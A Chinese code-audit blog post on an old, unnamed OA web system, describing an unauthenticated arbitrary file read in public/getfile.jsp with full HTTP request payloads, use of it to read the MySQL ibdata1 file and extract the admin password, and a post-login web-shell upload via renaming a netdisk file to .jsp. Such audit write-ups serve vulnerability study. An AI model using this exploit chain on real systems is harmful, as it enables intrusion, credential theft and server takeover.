一、前言

之前学的时候练手,于是在网上随便找了套老oa拿过来审着玩。

二、环境搭建

此oa官网提供安装包下载,下载以后一路默认安装,会给你自动装好tomcat、java、mysql启动web。

这是安装完的目录结构,看了一下oa目录为web目录

将此目录导入idea,将WEB-INF/classes和lib目录添加为库

然后就可以开始代码审计了

三、代码审计

1.前台任意文件读取

搜关键词,看到public/getfile.jsp这个文件

这边先判断传入的user参数是否为空,为空的话就去判断用户是否登录。所以这里随便给他赋一个值就行。
然后接受三个参数filename,extname,prop

下面这里判断了prop是否等于activex,不等于则会去调用系统默认配置的路径。这里我们就给他传入activex
filepath就会等于web路径+activex+filename+extname,然后最终去读filepath这个文件。
所以filename和extname这两个参数我们可以控制。构造请求前台任意文件读取一个。

GET /oa/public/getfile.jsp?user=1&prop=activex&filename=../public/getfile&extname=jsp HTTP/1.1
Host: 192.168.222.129:8088
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Connection: close


B哥和我说不是前台RCE的洞都不是洞,我也这么觉得。于是想着这个任意文件读取能不能做点什么东西。想到可以去读取mysql的ibdata1文件,此文件里会存有数据库内容信息。构造payload

http://192.168.222.129:8088/oa/public/getfile.jsp?user=1&prop=activex&filename=../../mysql5.1.46/data/ibdata1&extname=


使用utf-8打开文件,使用正则搜索

admin([a-f\d]{32}|[A-F\d]{32})

搜到最后一个,后面的明文就是admin的密码(因为这个oa数据库里密码的md5和明文都存了)

2.后台getshell

拿到admin密码以后就只需要找一个后台任意文件上传了。
黑盒渗透搞多了,直接登进去看看功能。
发现有一个网盘功能。

我们先正常上传看看。

点重命名发现可以重命名为jsp后缀

目录为upfile\file_netdisk\admin\1z.jsp
上传一个shell测试成功。

点击收藏 | 2 关注 | 1
登录 后跟帖